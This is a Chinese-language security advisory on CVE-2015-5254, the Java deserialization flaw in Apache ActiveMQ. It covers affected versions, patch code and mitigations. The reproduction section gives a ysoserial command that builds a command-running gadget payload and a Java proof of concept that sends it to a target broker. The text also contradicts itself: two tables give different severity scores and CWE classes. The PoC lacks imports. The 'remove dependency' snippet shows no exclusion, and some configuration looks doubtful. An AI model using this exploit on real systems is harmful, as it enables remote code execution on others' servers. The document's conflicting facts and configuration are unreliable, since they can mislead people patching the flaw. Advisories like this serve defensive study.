一、漏洞简介¶
1.1 漏洞背景¶
2015年,Apache ActiveMQ 被发现存在 Java 反序列化漏洞。这是继 Apache Commons Collections 反序列化漏洞(CVE-2015-4852)公开后,众多受影响的 Java 应用程序之一。该漏洞利用了 Java 原生序列化机制的固有问题,允许攻击者通过发送恶意构造的 JMS ObjectMessage 实现远程代码执行。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2015-5254 |
| 危害等级 | CRITICAL / 9.8 |
| 漏洞类型 | 反序列化漏洞 |
| 披露时间 | 2016-01-08 |
| 影响组件 | Apache ActiveMQ |
| 属性 | 描述 |
|---|---|
| CVE编号 | CVE-2015-5254 |
| 危害等级 | 重要 (Important) |
| CVSS评分 | 8.1 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) |
| 漏洞类型 | 不安全的反序列化 (CWE-502) |
| 影响组件 | JMS ObjectMessage、Web Console、STOMP 协议转换 |
该漏洞影响 ActiveMQ 对 JMS ObjectMessage 的处理机制。由于 ObjectMessage 依赖 Java 序列化进行消息负载的编组/解组,攻击者可以发送包含恶意序列化对象的消息,当 broker 或消费者调用 ObjectMessage.getObject() 方法时触发反序列化攻击。
补充核验信息:公开时间:2016-01-08;NVD 评分:9.8(CRITICAL);CWE:CWE-20。
二、影响范围¶
2.1 受影响的版本¶
- Apache ActiveMQ 5.0.0 ~ 5.12.1
2.2 不受影响的版本¶
- Apache ActiveMQ >= 5.13.0
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- ActiveMQ broker 可访问(需要认证时需要有效凭据)
- 以下任一场景:
- 通过 Web Console 处理 ObjectMessage
- STOMP 协议进行 ObjectMessage 转换
- 消费者调用
ObjectMessage.getObject()方法 - 类路径中存在可利用的 Gadget 链
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
Java 反序列化漏洞原理:
Java 序列化机制允许将对象转换为字节流以便存储或传输,反序列化则是逆向过程。当应用对不可信数据进行反序列化时,攻击者可以注入恶意构造的序列化对象,利用类路径中的 "Gadget 链"(如 Apache Commons Collections、Spring 等)执行任意代码。
CVE-2015-5254 的攻击路径:
- 攻击者发送恶意 ObjectMessage
- 构造包含恶意序列化对象的 JMS 消息
-
通过生产者发送到 ActiveMQ broker
-
Broker 端反序列化
- Web Console 处理消息时触发反序列化
-
STOMP 协议转换 ObjectMessage 时触发反序列化
-
Gadget 链执行
- 利用 Commons Collections 的 Transformer 链
- 执行任意系统命令
攻击者 → 发送恶意 ObjectMessage → ActiveMQ Broker
↓
反序列化 → 触发 Gadget 链
↓
Runtime.exec() → 执行任意命令
3.2 源码层面的根因分析(结合源码与补丁对比)¶
问题代码(5.12.1 版本):
// ObjectMessage.getObject() 实现
public Serializable getObject() throws JMSException {
if (object == null && bytes != null) {
try {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
// 危险:直接使用 ObjectInputStream 反序列化不可信数据
ObjectInputStream ois = new ObjectInputStream(bais);
object = (Serializable) ois.readObject();
ois.close();
} catch (Exception e) {
throw JMSExceptionSupport.create(e);
}
}
return object;
}
补丁修复方案(5.13.0 版本):
- 引入可信包白名单机制
- 默认禁止所有包的反序列化
- 用户需显式配置信任的包
// 修复后的代码
public Serializable getObject() throws JMSException {
if (object == null && bytes != null) {
try {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
// 使用安全包装的 ObjectInputStream
ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(
bais,
this.trustedPackages // 可信包列表
);
object = (Serializable) ois.readObject();
ois.close();
} catch (Exception e) {
throw JMSExceptionSupport.create(e);
}
}
return object;
}
配置可信包(在 conf/activemq.xml 中):
<plugins>
<trustedPackages>
<trustedPackage>com.yourcompany.jms</trustedPackage>
<trustedPackage>java.util</trustedPackage>
</trustedPackages>
</plugins>
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 下载受影响版本
wget https://archive.apache.org/dist/activemq/5.11.1/apache-activemq-5.11.1-bin.tar.gz
tar -xzf apache-activemq-5.11.1-bin.tar.gz
cd apache-activemq-5.11.1
./bin/activemq start
4.2 PoC 演示与测试过程¶
使用 ysoserial 生成 Payload:
# 生成 Commons Collections Gadget 链
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" > payload.ser
Java PoC 代码:
import javax.jms.*;
import org.apache.activemq.ActiveMQConnectionFactory;
public class CVE_2015_5254_PoC {
public static void main(String[] args) throws Exception {
String brokerURL = "tcp://target:61616";
String queueName = "exploit";
// 读取恶意序列化数据
byte[] payload = Files.readAllBytes(Paths.get("payload.ser"));
// 连接 ActiveMQ
ConnectionFactory factory = new ActiveMQConnectionFactory(brokerURL);
Connection connection = factory.createConnection();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Queue queue = session.createQueue(queueName);
// 创建 ObjectMessage
ObjectMessage message = session.createObjectMessage();
// 通过反射设置 bytes 字段(绕过序列化检查)
Field bytesField = message.getClass().getDeclaredField("bytes");
bytesField.setAccessible(true);
bytesField.set(message, payload);
// 发送消息
MessageProducer producer = session.createProducer(queue);
producer.send(message);
System.out.println("[+] Malicious ObjectMessage sent!");
connection.close();
}
}
触发反序列化:
- 访问 Web Console:http://target:8161/admin/queues.jsp
- 点击发送的消息
- 查看消息详情时触发反序列化
- 检查命令执行结果:
ls /tmp/
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级到安全版本: - Apache ActiveMQ >= 5.13.0
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案1:配置可信包白名单¶
在 conf/activemq.xml 中添加:
<plugins>
<!-- 仅信任必要的包 -->
<trustedPackages>
<trustedPackage>java.lang</trustedPackage>
<trustedPackage>java.util</trustedPackage>
<trustedPackage>com.yourcompany.dto</trustedPackage>
</trustedPackages>
</plugins>
方案2:禁用 ObjectMessage¶
如果不使用 ObjectMessage,可以通过配置禁用:
<systemProperties>
<systemProperty name="org.apache.activemq.SERIALIZABLE_PACKAGES" value=""/>
</systemProperties>
方案3:使用 TextMessage 替代¶
将对象序列化为 JSON/XML 字符串,使用 TextMessage 传输:
// 安全的替代方案
String jsonPayload = objectMapper.writeValueAsString(myObject);
TextMessage message = session.createTextMessage(jsonPayload);
方案4:移除危险依赖¶
从类路径中移除 Commons Collections 等包含危险 Gadget 链的库:
<!-- pom.xml 中排除 -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>4.4</version> <!-- 使用安全版本 -->
</dependency>